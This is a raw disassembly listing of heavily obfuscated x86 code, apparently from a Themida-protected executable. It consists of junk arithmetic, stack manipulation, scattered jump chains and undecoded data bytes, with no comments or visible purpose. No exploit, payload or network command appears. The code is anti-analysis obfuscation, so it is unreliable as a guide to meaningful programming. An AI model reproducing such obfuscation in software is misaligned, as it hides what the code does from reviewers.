; ---------------------------------------------------------------------------
loc_58C026: ; CODE XREF: sub_59196D+3C1Bj
push 0E96485Dh
pop esi
push esi
push 0C814FBDh
mov esi, [esp+8+var_8]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
xor esi, 21707E0h
push esi
xor [esp+10h+var_12+2], 74B56057h
pop ebx
xor ebx, 74B56057h
mov esi, [esp+0Ch+var_C]
add esp, 4
jmp loc_58C3A1
; ---------------------------------------------------------------------------
loc_58C067: ; CODE XREF: sub_59196D+61CBj
pop ecx
jmp loc_59202A
; ---------------------------------------------------------------------------
loc_58C06D: ; CODE XREF: sub_59196D-461j
mov ebx, 9A6A894Ah
sub ecx, ebx
jmp loc_596C56
; ---------------------------------------------------------------------------
loc_58C079: ; CODE XREF: sub_59196D-25B1j
xor ebx, 4A5A888h
mov ecx, ebx
pop ebx
add eax, 5AD330D4h
sub eax, ecx
push edx
mov edx, 5D39183Dh
dec edx
sub edx, 447C4A3Bh
jmp loc_594EB5
; ---------------------------------------------------------------------------
loc_58C09B: ; CODE XREF: sub_59196D-45BBj
pop esp
push dword ptr [esp+0]
push [esp+4+var_4]
pop eax
push edx
sub esp, 4
jmp loc_58C62B
; ---------------------------------------------------------------------------
loc_58C0AF: ; CODE XREF: sub_59196D-4907j
add esi, 4
xchg esi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
jmp loc_58D1A3
; ---------------------------------------------------------------------------
loc_58C0BD: ; CODE XREF: sub_59196D+2E32j
add esp, 4
mov ch, bh
mov ebx, [esp+8+var_8]
add esp, 4
add ch, 22h
sub esp, 4
mov [esp+8+var_8], eax
jmp loc_59302A
; ---------------------------------------------------------------------------
loc_58C0D6: ; CODE XREF: sub_59196D+1AA5j
add [esp+8+var_8], 4
pop [esp+8+var_8]
push edi
mov edi, 4
add [esp+8+var_4], edi
jmp loc_594685
; ---------------------------------------------------------------------------
loc_58C0EC: ; CODE XREF: sub_59196D-4D1Bj
add eax, ebp
jmp loc_592E10
; ---------------------------------------------------------------------------
loc_58C0F3: ; CODE XREF: sub_59196D-767j
jmp loc_59065B
; ---------------------------------------------------------------------------
loc_58C0F8: ; CODE XREF: sub_59196D+5FABj
mov ecx, 6344303Eh
sub edx, ecx
pop ecx
jmp loc_59566B
; ---------------------------------------------------------------------------
loc_58C105: ; CODE XREF: sub_59196D-499Bj
sub edi, 0FFFFFFFFh
xor edi, 3B1D0D93h
add eax, edi
pop edi
push esi
mov esi, 67140081h
shr esi, 2
shr esi, 4
or esi, 1BD97234h
and esi, 76EA10B9h
jmp loc_58F377
; ---------------------------------------------------------------------------
loc_58C131: ; CODE XREF: sub_59196D-629Dj
neg al
jmp loc_5908DD
; ---------------------------------------------------------------------------
loc_58C138: ; CODE XREF: sub_59196D-D0Aj
push esp
pop edi
add edi, 4
push edx
mov edx, 4
sub edi, 1E493EC7h
jmp loc_5925E5
; ---------------------------------------------------------------------------
loc_58C151: ; CODE XREF: sub_59196D+A9Fj
pop ebp
pop [esp+14h+var_16+2]
pop esp
xor ebp, 7D7F6EBFh
and eax, ebp
jmp loc_593393
; ---------------------------------------------------------------------------
loc_58C163: ; CODE XREF: sub_59196D+6C06j
sub eax, esi
pop esi
sub eax, 7F40214Eh
add eax, edi
add eax, 7F40214Eh
add eax, 54D335EFh
jmp loc_58BBD9
; ---------------------------------------------------------------------------
loc_58C17C: ; CODE XREF: sub_59196D-1855j
pop ebx
add al, bl
push edx
mov dl, 0F7h
xor dl, 9Ah
sub dl, 12h
sub al, dl
mov edx, [esp+8+var_8]
add esp, 4
sub al, 62h
push ecx
mov cl, 0FCh
push ecx
jmp loc_5924C1
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58C19E proc near ; CODE XREF: sub_59196D-2400j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00590245 SIZE 0000000E BYTES
push ebx
push edx
mov edx, 80A29599h
mov ebx, edx
pop edx
add edi, ebx
pop ebx
push edi
pop ebp
mov edi, [esp+0]
jmp loc_590245
sub_58C19E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
aN1RNhBAhUh db '╜1ьR╨╧NH&│бahхuh$"',0
dd 240C8900h, 9CD68h, 241C8900h, 0C87D16BBh, 3E3C11Ch
dd 0F07EBC1h, 6AC88h, 0E2CB8100h, 0F0A8518h, 2D268Ah, 69D7E900h
dd 0C9810000h, 48132CAAh, 20242C81h, 68074855h, 6D96h
dd 53243C89h, 4D538A68h, 0B8505B64h, 0D8B48DAh, 0D0F7D0F7h
dd 2503E8C1h, 1C4149D7h, 73CE9h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C229: ; CODE XREF: sub_59196D-27E7j
push ecx
jmp loc_58BF54
; ---------------------------------------------------------------------------
loc_58C22F: ; CODE XREF: sub_59196D+10C8j
sub cl, 3Bh
neg cl
sub cl, 14h
inc cl
sub cl, 42h
add al, cl
pop ecx
jmp loc_592782
; ---------------------------------------------------------------------------
loc_58C244: ; CODE XREF: sub_59196D+2026j
mov edi, 64A47497h
neg edi
and edi, 3FF4228Fh
neg edi
push eax
mov eax, 4728364Bh
jmp loc_59138F
; ---------------------------------------------------------------------------
loc_58C25E: ; CODE XREF: sub_59196D-632Fj
; sub_59196D:loc_5938AEj
mov edx, ebp
push [esp+18h+var_1A+2]
pop ebp
push esi
mov esi, esp
jmp loc_59158D
; ---------------------------------------------------------------------------
loc_58C26C: ; CODE XREF: sub_59196D-42C7j
add al, 0CCh
add al, 5Eh
push [esp+1Ch+var_1E+2]
pop edx
jmp loc_591539
; ---------------------------------------------------------------------------
loc_58C279: ; CODE XREF: sub_59196D-601Ej
pop ebx
mov eax, [esp+18h+var_1A+2]
add esp, 4
xor al, dl
push [esp+14h+var_16+2]
pop edx
add esp, 4
jmp loc_58C85E
; ---------------------------------------------------------------------------
loc_58C28E: ; CODE XREF: sub_59196D+23FBj
jmp loc_59744D
; ---------------------------------------------------------------------------
loc_58C293: ; CODE XREF: sub_59196D:loc_597516j
not cl
push edx
mov dl, 24h
shl dl, 7
shl dl, 2
jmp loc_59182E
; ---------------------------------------------------------------------------
loc_58C2A3: ; CODE XREF: sub_59196D+3318j
push 7F66h
mov [esp+18h+var_1A+2], esp
jmp loc_58E5A7
; ---------------------------------------------------------------------------
loc_58C2B0: ; CODE XREF: sub_59196D-84Ej
jmp loc_59735D
; ---------------------------------------------------------------------------
loc_58C2B5: ; CODE XREF: sub_59196D+2813j
sub eax, 4C9973ABh
sub eax, ebp
add eax, 4C9973ABh
pop ebp
pop esi
push 39E0h
jmp loc_58CB4A
; ---------------------------------------------------------------------------
loc_58C2CD: ; CODE XREF: sub_59196D+65A3j
push 6ECB2EF3h
pop edi
inc edi
js loc_58FE7A
add edi, 9136D10Ch
push ecx
push 2B0Fh
mov [esp+1Ch+var_1E+2], edi
mov ecx, [esp+1Ch+var_1E+2]
add esp, 4
jmp loc_58D1AE
; ---------------------------------------------------------------------------
loc_58C2F7: ; CODE XREF: sub_59196D+30BDj
mov bl, 85h
sub bl, 84h
jmp loc_5967D4
; ---------------------------------------------------------------------------
loc_58C301: ; CODE XREF: sub_59196D-143Fj
sub edx, 3E4112A9h
add edx, eax
jmp loc_596212
; ---------------------------------------------------------------------------
loc_58C30E: ; CODE XREF: sub_59196D-A62j
push esp
pop [esp+1Ch+var_1E+2]
add [esp+18h+var_1A+2], 4
pop eax
push edx
mov edx, 8325EEDh
jmp loc_58BD48
; ---------------------------------------------------------------------------
loc_58C325: ; CODE XREF: sub_59196D+5132j
inc ebx
and ebx, 3D095FB5h
add ebx, 0CBF7B1E3h
jmp loc_590814
; ---------------------------------------------------------------------------
loc_58C337: ; CODE XREF: sub_59196D+2082j
neg bh
push edx
mov dl, 3Eh
add dl, 27h
shr dl, 1
push ebx
mov bh, 58h
sub bh, 3Dh
and dl, bh
pop ebx
jmp loc_59526B
; ---------------------------------------------------------------------------
loc_58C34F: ; CODE XREF: sub_59196D-BB2j
or dx, 542Dh
sub dx, 36CCh
xor bx, dx
jmp loc_590415
; ---------------------------------------------------------------------------
loc_58C361: ; CODE XREF: sub_59196D-63B9j
ja loc_5917E4
sub ebp, 57CD3593h
jns loc_58D19A
mov bh, cl
pop esi
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58C376 proc near ; CODE XREF: sub_59196D-2CE3j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058D40A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E462 SIZE 00000009 BYTES
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
add al, bl
sub al, 3Ch
add al, 0D2h
push edx
sub esp, 4
mov [esp+8+var_8], eax
mov al, 2Ah
mov dh, 0F9h
push eax
mov al, 2Ch
dec al
jmp loc_58D40A
sub_58C376 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C3A1: ; CODE XREF: sub_59196D-590Bj
xor ebx, esi
push [esp+14h+var_16+2]
pop esi
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+18h+var_1A+2]
pop esp
jmp loc_592EAD
; ---------------------------------------------------------------------------
loc_58C3BF: ; CODE XREF: sub_59196D-1E9Ej
xchg ebx, [esp+14h+var_16+2]
pop esp
jmp loc_593401
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590792
loc_58C3C8: ; CODE XREF: sub_590792-40C6j
mov [esp+4+var_4], edi
mov edi, esp
push edx
mov edx, 4
add edi, edx
pop edx
sub edi, 4
jmp loc_58B695
; END OF FUNCTION CHUNK FOR sub_590792
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C3E1: ; CODE XREF: sub_59196D-4D60j
mov edi, [esp+10h+var_12+2]
add esp, 4
jmp loc_593EBC
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58C3EF proc near ; CODE XREF: sub_59196D+96Dj
; sub_59196D+4993j
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0058D729 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 00590091 SIZE 0000000C BYTES
push ebx
push 3C11h
jmp loc_58D729
sub_58C3EF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C3FA: ; CODE XREF: sub_59196D+503Cj
ja loc_595CA6
xor edx, 10004CF5h
mov ebp, edx
pop edx
add esi, ebp
pop ebp
xor esi, [esp+4+var_4]
loc_58C40F: ; CODE XREF: sub_59196D-4171j
push ecx
mov ecx, 59EC358Eh
add edi, ecx
pop ecx
shr edi, 6
xor edi, 736EAEB8h
mov ebx, edi
pop edi
jmp loc_5947E0
; ---------------------------------------------------------------------------
loc_58C429: ; CODE XREF: sub_59196D-29A1j
pop esp
jmp loc_598666
; ---------------------------------------------------------------------------
loc_58C42F: ; CODE XREF: sub_59196D-2DC9j
pop esi
add esp, 4
add eax, 627504FDh
add eax, 7E146452h
add eax, edi
sub eax, 7E146452h
sub eax, 627504FDh
jmp loc_5978A0
; ---------------------------------------------------------------------------
loc_58C451: ; CODE XREF: sub_59196D-6142j
; sub_59196D-404Aj
mov word ptr [esp+10h+var_12+2], dx
mov dl, 12h
add bl, dl
pop dx
add bl, al
sub bl, 12h
push 7FEDh
mov [esp+12h+var_12], edx
mov dl, 9Eh
push cx
mov ch, 0F6h
add bl, ch
pop cx
add bl, 1Fh
add bl, dl
sub bl, 1Fh
jmp loc_593A17
; ---------------------------------------------------------------------------
loc_58C47F: ; CODE XREF: sub_59196D+57D7j
mov esi, esp
jmp loc_5958BA
; ---------------------------------------------------------------------------
loc_58C486: ; CODE XREF: sub_59196D+105j
push eax
mov eax, esp
add eax, 4
sub eax, 4
push eax
push [esp+1Ah+var_16]
jmp loc_5983FB
; ---------------------------------------------------------------------------
loc_58C49D: ; CODE XREF: sub_59196D+1232j
add eax, ecx
sub eax, 6BF749A8h
pop ecx
xchg eax, [esp+1Ah+var_1A]
mov esp, [esp+1Ah+var_1A]
jmp loc_58E9E2
; ---------------------------------------------------------------------------
loc_58C4B0: ; CODE XREF: sub_59196D+2899j
cmp dword ptr [edi+20h], 0
jz loc_592EAD
push ebx
push eax
mov eax, 22F4645Dh
not eax
shl eax, 6
push edx
mov edx, 72A72AD3h
jmp loc_58E19F
; ---------------------------------------------------------------------------
loc_58C4D1: ; CODE XREF: sub_59196D+4CD5j
mov [esp+26h+var_26], eax
push edx
mov dh, 0FDh
mov al, dh
pop edx
add bl, al
pop eax
add bl, 0C7h
jmp loc_593A66
; ---------------------------------------------------------------------------
loc_58C4E5: ; CODE XREF: sub_59196D-185Cj
pop esi
pop [esp+1Eh+var_1E]
pop esp
jmp loc_5907E5
; ---------------------------------------------------------------------------
loc_58C4EF: ; CODE XREF: sub_59196D+6007j
add ebx, 4
add ebx, 4
xchg ebx, [esp+16h+var_16]
pop esp
and eax, ebp
push [esp+12h+var_12]
jmp loc_58E348
; ---------------------------------------------------------------------------
loc_58C506: ; CODE XREF: sub_59196D-74Cj
mov ecx, 32A1C71Dh
sub edi, ecx
pop ecx
add ebx, edi
pop edi
jmp loc_58D5D3
; ---------------------------------------------------------------------------
loc_58C516: ; CODE XREF: sub_59196D+1B5Dj
push dword ptr [esp+0]
pop esi
jmp loc_597F48
; ---------------------------------------------------------------------------
loc_58C51F: ; CODE XREF: sub_59196D-34A1j
add esp, 4
add ebx, 499F69D2h
add ebx, eax
sub ebx, 499F69D2h
jmp loc_595F18
; ---------------------------------------------------------------------------
loc_58C535: ; CODE XREF: sub_59196D+3B1Aj
push edx
push [esp+0Eh+var_C+2]
pop edx
pop dword ptr [esp+0]
mov esp, [esp+0Ah+var_C+2]
push esp
pop dword ptr [esp+0]
push 7105h
jmp loc_5958E1
; ---------------------------------------------------------------------------
loc_58C54F: ; CODE XREF: sub_59196D-18C0j
mov ah, 0A4h
jmp loc_58B498
; ---------------------------------------------------------------------------
loc_58C556: ; CODE XREF: sub_59196D-3A49j
mov [esp+0], ebp
mov ebp, esp
push ecx
mov ecx, 4
jmp loc_597AEE
; ---------------------------------------------------------------------------
loc_58C566: ; CODE XREF: sub_59196D+5D99j
pop edx
add ebp, 18C273D6h
jmp loc_590E36
; ---------------------------------------------------------------------------
loc_58C572: ; CODE XREF: sub_59196D+5D23j
sub ebx, 9C148D21h
mov ecx, ebx
jmp loc_58EB3B
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58C57F proc near ; CODE XREF: sub_59196D-39E6j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058CCD6 SIZE 00000009 BYTES
sub esp, 4
jmp loc_58CCD6
sub_58C57F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C58A: ; CODE XREF: sub_59196D+4F04j
mov [esp+0], edi
push edx
mov edi, [esp+12h+var_12]
jmp loc_59350D
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
mov cx, [esp]
push 6929h
mov [esp], ebx
push esp
push dword ptr [esp]
pop ebx
add esp, 4
push edi
mov edi, 6B1D2CEAh
or edi, 238C7B7Ch
dec edi
dec edi
push ebx
mov ebx, 7BA42BCFh
jmp loc_5976BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C5C3: ; CODE XREF: sub_59196D-18Ej
add ax, di
push cx
jmp loc_591E8E
; ---------------------------------------------------------------------------
loc_58C5CD: ; CODE XREF: sub_59196D-341Ej
mov esi, 4
jmp loc_5914CE
; ---------------------------------------------------------------------------
loc_58C5D7: ; CODE XREF: sub_59196D+69C4j
push eax
push [esp+18h+var_16+2]
pop eax
pop [esp+18h+var_1A+2]
mov esp, [esp+14h+var_16+2]
movsx ecx, ax
jmp loc_591FF8
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59069A
loc_58C5EB: ; CODE XREF: sub_59069A-1AE3j
sub eax, ebx
pop ebx
shr eax, 7
sub eax, 0E4E11028h
jmp loc_5939C6
; END OF FUNCTION CHUNK FOR sub_59069A
; ---------------------------------------------------------------------------
lodsd
push edi
jmp loc_593FBA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C602: ; CODE XREF: sub_59196D+4042j
xor ebx, 0B03EDDC3h
and ebp, ebx
pop ebx
jmp loc_592005
; ---------------------------------------------------------------------------
loc_58C610: ; CODE XREF: sub_59196D-6274j
dec eax
inc eax
add eax, 793840B0h
xor eax, 6F145D9Ah
add ebp, eax
jmp loc_592C77
; ---------------------------------------------------------------------------
loc_58C623: ; CODE XREF: sub_59196D-4A3Dj
add dl, 0FFh
jmp loc_596E80
; ---------------------------------------------------------------------------
loc_58C62B: ; CODE XREF: sub_59196D-58C3j
mov [esp+0Ch+var_C], esp
jmp loc_5916C6
; ---------------------------------------------------------------------------
loc_58C633: ; CODE XREF: sub_59196D+64DEj
neg al
jp loc_594CCA
jmp loc_59350D
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
db 66h ; f
db 0C1h ; а
db 0E7h ; Г
db 8
db 66h ; f
db 0C1h ; а
db 0E7h ; Г
db 5
; ---------------------------------------------------------------------------
mov bl, bh
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C64A: ; CODE XREF: sub_59196D+2495j
push [esp+0Ch+var_C]
pop ebx
add esp, 4
pop [esp+8+var_8]
pop esp
add esp, 4
idiv ecx
push 7870h
mov [esp+0], edx
push eax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58C66F: ; CODE XREF: sub_59196D+801j
dec esi
xor esi, 17E37384h
add ebp, esi
pop esi
add ebp, 4
jmp loc_594071
; ---------------------------------------------------------------------------
loc_58C681: ; CODE XREF: sub_59196D+19A6j
sub esi, 239398Bh
pop eax
jmp loc_594979
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58C68D proc near ; CODE XREF: sub_58E0B1+2459j
push ebp
mov ebp, 4
jmp loc_58E4BA
sub_58C68D endp
; ---------------------------------------------------------------------------
lodsb
jmp loc_593A32
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C69E: ; CODE XREF: sub_59196D-5B05j
mov esp, [esp+36h+var_36]
mov [esp+36h+var_36], ebx
jmp sub_58CF0B
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590792
loc_58C6A9: ; CODE XREF: sub_590792-534Aj
pop ebx
mov bl, 4Bh
xor bl, cl
mov ecx, [esp+8+var_8]
add esp, 4
shr bl, 7
not bl
sub bl, 60h
sub al, 6Bh
sub al, 8Fh
sub al, bl
add al, 8Fh
add al, 6Bh
pop ebx
push 7FAFh
jmp loc_58C3C8
; END OF FUNCTION CHUNK FOR sub_590792
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C6D1: ; CODE XREF: sub_59196D-392Fj
pop esp
btc word ptr [esp+32h+var_32], ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58C6DD: ; CODE XREF: sub_59196D-A3Fj
xor eax, 0A452A904h
add ebp, eax
pop eax
push ebp
push [esp+36h+var_32]
pop ebp
pop [esp+36h+var_36]
pop esp
add [esp+2Eh+var_2E], 5E936540h
push ebx
sub esp, 4
mov [esp+36h+var_36], ebp
push 75B557A3h
mov ebp, [esp+3Ah+var_3C+2]
add esp, 4
shl ebp, 4
shr ebp, 6
add ebp, 795C3CAh
jmp loc_58DFC8
; ---------------------------------------------------------------------------
loc_58C71F: ; CODE XREF: sub_59196D+3B9j
push 4
pop ebp
add edi, ebp
pop ebp
jmp loc_5900F4
; ---------------------------------------------------------------------------
loc_58C72D: ; CODE XREF: sub_59196D+3453j
add ebx, 0D4E2F3Bh
sub ebx, 6A024FECh
add ebx, 0CC0791h
add ebx, edx
sub ebx, 0CC0791h
add ebx, 6A024FECh
push ebp
mov ebp, 6A2F6AF6h
inc ebp
jmp loc_591561
; ---------------------------------------------------------------------------
loc_58C759: ; CODE XREF: sub_59196D+3935j
push eax
push ebp
mov ebp, 8B829B3h
mov eax, 12C9E0A6h
jmp loc_591F09
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58C76A: ; CODE XREF: Themida_:0058BB80j
jmp loc_5915E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C76F: ; CODE XREF: sub_59196D+1C24j
add edx, ecx
pop ecx
sub esp, 4
mov [esp+3Eh+var_40+2], eax
mov eax, 290278F0h
add edx, eax
pop eax
sub edx, eax
sub edx, 290278F0h
sub esp, 4
mov [esp+3Eh+var_40+2], esi
mov esi, 5B760B4Dh
add esi, 0C6F25D57h
add edx, 2DDD22CFh
sub edx, 5936073Fh
sub edx, esi
add edx, 5936073Fh
push eax
mov eax, 76946A56h
or eax, 78071616h
not eax
xor eax, 0ACB5A366h
jmp loc_58B7A4
; ---------------------------------------------------------------------------
loc_58C7CA: ; CODE XREF: sub_59196D-4A7Aj
add eax, ebx
pop ebx
xchg eax, [esp+3Eh+var_40+2]
mov esp, [esp+3Eh+var_40+2]
jmp loc_590D74
; ---------------------------------------------------------------------------
loc_58C7D8: ; CODE XREF: sub_59196D-4F66j
add al, 7
and al, 0A0h
jmp loc_58B3A4
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F533
loc_58C7E1: ; CODE XREF: sub_58F533+Aj
pop ebp
pop esi
add esi, 4
add esi, 4
xor esi, [esp-8+arg_4]
jmp loc_5936FF
; END OF FUNCTION CHUNK FOR sub_58F533
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C7F7: ; CODE XREF: sub_59196D-CD8j
mov ebp, [esp+3Eh+var_40+2]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_58E2BD
; ---------------------------------------------------------------------------
loc_58C808: ; CODE XREF: sub_59196D+13E3j
add esi, 368336A9h
shr esi, 5
jmp loc_58BCD9
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58C816 proc near ; CODE XREF: sub_59196D+2C7Dj
; FUNCTION CHUNK AT 0059020E SIZE 00000010 BYTES
push ebp
mov ebp, 7ACF46FDh
mov edi, 4FB82507h
xor edi, ebp
pop ebp
jmp loc_59020E
sub_58C816 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C829: ; CODE XREF: sub_59196D+1639j
push 3946h
mov [esp+0], ebx
mov ebx, esp
add ebx, 4
push edi
push eax
mov eax, 9D73ADEh
mov edi, 78AC2678h
xor edi, eax
pop eax
jmp loc_592F5F
; ---------------------------------------------------------------------------
loc_58C84D: ; CODE XREF: sub_59196D+5FF9j
shl edx, 3
add edx, 730C239Dh
xor esi, edx
pop edx
jmp loc_58BE6D
; ---------------------------------------------------------------------------
loc_58C85E: ; CODE XREF: sub_59196D-56E4j
xor bl, al
movzx eax, al
jmp loc_597BB4
; ---------------------------------------------------------------------------
loc_58C868: ; CODE XREF: sub_59196D-5B4Ej
neg al
jmp loc_58DDEF
; ---------------------------------------------------------------------------
loc_58C86F: ; CODE XREF: sub_59196D-23D5j
mov [esp+2Eh+var_2E], edi
mov edi, 6ACC049Dh
inc edi
jmp loc_594C1F
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590CDB
loc_58C87D: ; CODE XREF: sub_590CDB+1Dj
mov esp, [esp+0]
add ebx, 4
add ebx, 2
xor ebx, [esp+0]
jmp loc_5939DA
; END OF FUNCTION CHUNK FOR sub_590CDB
; ---------------------------------------------------------------------------
db 81h, 0CBh, 0E2h
dd 0F0A8518h, 0FFF2E38Ah, 6B84E9FFh, 815B0000h, 19294FE5h
dd 51E0805Fh, 24048151h, 336561ACh, 0B9BF575Eh, 0C1120F66h
dd 0EFC105E7h, 9EE78107h, 814FEA03h, 7B52C0F7h, 56B95147h
dd 0E90D9A6Eh, 0AB17h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C8D8: ; CODE XREF: sub_59196D-2192j
dec edi
push esi
mov esi, 1ABC7A65h
sub esi, 58822718h
shl esi, 3
push eax
mov eax, 29537A9Fh
not eax
jmp loc_591141
; ---------------------------------------------------------------------------
loc_58C8F5: ; CODE XREF: sub_59196D+574Fj
mov bl, ah
mov dl, bl
pop ebx
mov eax, [esp+32h+var_32]
jmp loc_59199E
; ---------------------------------------------------------------------------
loc_58C902: ; CODE XREF: sub_59196D-2AA4j
; sub_59196D:loc_591E76j
add edi, 4
sub esp, 4
mov [esp+36h+var_36], ebp
push edx
push ebp
jmp loc_597732
; ---------------------------------------------------------------------------
loc_58C918: ; CODE XREF: sub_59196D+6A4Ej
push [esp+3Eh+var_40+2]
pop edi
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp+42h+var_44+2]
pop esp
sub ax, bx
push di
mov di, 7FB7h
add ax, di
pop di
jmp loc_5976A3
; ---------------------------------------------------------------------------
loc_58C940: ; CODE XREF: sub_59196D+2068j
mov eax, ecx
jmp loc_596AE5
; ---------------------------------------------------------------------------
loc_58C947: ; CODE XREF: sub_59196D+5A00j
and edx, 6ED22E4Fh
sub edx, 30D45494h
jle loc_58F34D
xor edx, 0A36590BEh
jmp loc_58BACE
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
pop ebp
xor eax, 0A9F56BF8h
add ebx, eax
pop eax
mov edi, ebx
jmp loc_591660
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C974: ; CODE XREF: sub_59196D+3D87j
add edx, eax
mov eax, [esp+3Eh+var_40+2]
add esp, 4
xchg edx, [esp+3Ah+var_3C+2]
pop esp
add ecx, 4
add ecx, 2
xor ecx, [esp+36h+var_36]
xor [esp+36h+var_36], ecx
xor ecx, [esp+36h+var_36]
mov esp, [esp+36h+var_36]
mov fs:[edx], ax
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58C9A1: ; CODE XREF: sub_59196D-20FCj
add ebx, 0E54FD582h
jmp loc_58EEEB
; ---------------------------------------------------------------------------
loc_58C9AC: ; CODE XREF: sub_59196D-4F71j
jge loc_58BD16
push esi
jmp loc_58B987
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
sub bl, dl
sub bl, 0EFh
push ebp
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58C9BE: ; CODE XREF: sub_59196D+38F9j
mov ebp, 713C3141h
dec ebp
push esi
mov esi, 7CA2012Dh
sub ebp, esi
pop esi
push esi
mov esi, 0F49A3017h
xor ebp, esi
jmp loc_58DBA6
; ---------------------------------------------------------------------------
loc_58C9DA: ; CODE XREF: sub_59196D+39BEj
add eax, [edx]
pop edx
jmp loc_58DF6E
; ---------------------------------------------------------------------------
loc_58C9E2: ; CODE XREF: sub_59196D+591Cj
pop ebx
add ecx, 25F14287h
jmp loc_58EDC2
; ---------------------------------------------------------------------------
loc_58C9EE: ; CODE XREF: sub_59196D+1A21j
mov [esp+36h+var_36], esi
mov esi, 56EC5E94h
add esi, 204325A2h
jmp loc_58C9AC
; ---------------------------------------------------------------------------
loc_58CA01: ; CODE XREF: sub_59196D-37B7j
mov al, 9Eh
xor al, 0E5h
xor al, 5Ch
jmp loc_58C7D8
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
sub esp, 4
mov [esp], ebx
push ecx
jmp loc_595D1A
; ---------------------------------------------------------------------------
mov eax, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push 5C90h
mov [esp], ebp
mov ebp, 4
add ebx, 723A2BADh
add ebx, ebp
sub ebx, 723A2BADh
pop ebp
push eax
push edx
jmp loc_59561F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58CA4C: ; CODE XREF: sub_59196D+61EEj
pop esp
add eax, ebx
push edx
mov edx, 42A0936h
add eax, edx
pop edx
pop ebx
sub esp, 4
jmp loc_58FADD
; ---------------------------------------------------------------------------
loc_58CA61: ; CODE XREF: sub_59196D-310Aj
sub bl, ch
add bl, 0AFh
jmp loc_59663C
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58CA6B: ; DATA XREF: Themida_:0058B11Co
neg dword ptr [esp]
pushf
jmp loc_59808E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58CA74: ; CODE XREF: sub_59196D:loc_590007j
xor ecx, 61E02EFDh
push esi
mov esi, ecx
jmp loc_58D8C9
; ---------------------------------------------------------------------------
loc_58CA82: ; CODE XREF: sub_59196D+40CAj
push ecx
mov ecx, 4
jmp loc_58B90A
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58CA8D proc near ; DATA XREF: Themida_:0058B128o
mov ax, [esp+0]
push ebx
push esp
jmp loc_5924F0
sub_58CA8D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58CA98: ; CODE XREF: sub_59196D:loc_58DD2Aj
dec ebx
